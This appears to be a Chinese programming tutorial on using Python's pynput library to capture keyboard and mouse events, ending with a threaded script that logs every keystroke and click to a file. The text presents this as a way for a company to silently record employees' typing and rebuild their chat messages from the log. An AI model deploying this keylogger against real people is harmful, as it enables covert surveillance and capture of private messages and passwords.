你知道怎么用Python監(jiān)控聊天記錄嗎
關(guān)于 pynput
pynput 可以監(jiān)控我們的鍵盤和鼠標。目前具有此類功能的庫有很多,比如 pygame 等游戲庫,但是當我們只需要監(jiān)控鍵盤和鼠標時,它們就顯得過于笨重了,我們可以選擇輕量,快速的 pynput。
實例
鍵盤監(jiān)控
假設(shè)公司想要靜默為我們的電腦常駐一個后臺進程去實現(xiàn)監(jiān)控我們的鍵盤輸入并記錄下來,他們大概可以這樣做:
from pynput import keyboard def on_press(key): print(f'{key} :pushed') def on_release(key): #print(f'{key} released') if key == keyboard.Key.esc: # Stop listener return False with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn: lsn.join() 復(fù)制代碼
控制臺打印:
鼠標監(jiān)控
from pynput import mouse def on_click(x, y, button, pressed): if button == mouse.Button.left: print('left was pressed!') elif button == mouse.Button.right: print('right was pressed!') return False else: print('mid was pressed!') # Collect events until released with mouse.Listener(on_click=on_click) as listener: listener.join() 復(fù)制代碼
控制臺打?。?#8195;
你會發(fā)現(xiàn),每條打印都被打印了兩次,這是因為按下去和抬起來都會觸發(fā)鼠標事件。
監(jiān)控并記錄到日志文件
from pynput import keyboard,mouse from loguru import logger from threading import Thread # 定義日志文件 logger.add('demo.log') def on_press(key): logger.debug(f'{key} :pushed') def on_release(key): #print(f'{key} released') if key == keyboard.Key.esc: # Stop listener return False # 定義f1用于線程1 def f1(): with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn: lsn.join() def on_click(x, y, button, pressed): if button == mouse.Button.left: logger.debug('left was pressed!') elif button == mouse.Button.right: logger.debug('right was pressed!') return False else: logger.debug('mid was pressed!') # 定義f2用于線程2 def f2(): # Collect events until released with mouse.Listener(on_click=on_click) as listener: listener.join() if __name__ == '__main__': # 起兩個線程分別監(jiān)控鍵盤和鼠標 t1 = Thread(target=f1) t2 = Thread(target=f2) t1.start() t2.start() 復(fù)制代碼
查看日志內(nèi)容:
如上,我們的鍵盤操作全部已經(jīng)被記錄,通過對這個日志文件進行簡單的 NLTK
語言處理,就能復(fù)原你的聊天記錄。
以上就是今天的全部內(nèi)容了,感謝您的閱讀,我們下節(jié)再會。
到此這篇關(guān)于你知道怎么用Python監(jiān)控聊天記錄嗎的文章就介紹到這了,更多相關(guān)Python 監(jiān)控內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Python機器學(xué)習(xí)之手寫KNN算法預(yù)測城市空氣質(zhì)量
KNN(K-Nearest Neighbor)最鄰近分類算法是數(shù)據(jù)挖掘分類(classification)技術(shù)中常用算法之一,本文將介紹如何通過KNN算法實現(xiàn)城市空氣質(zhì)量的預(yù)測,感興趣的同學(xué)可以了解一下2021-12-12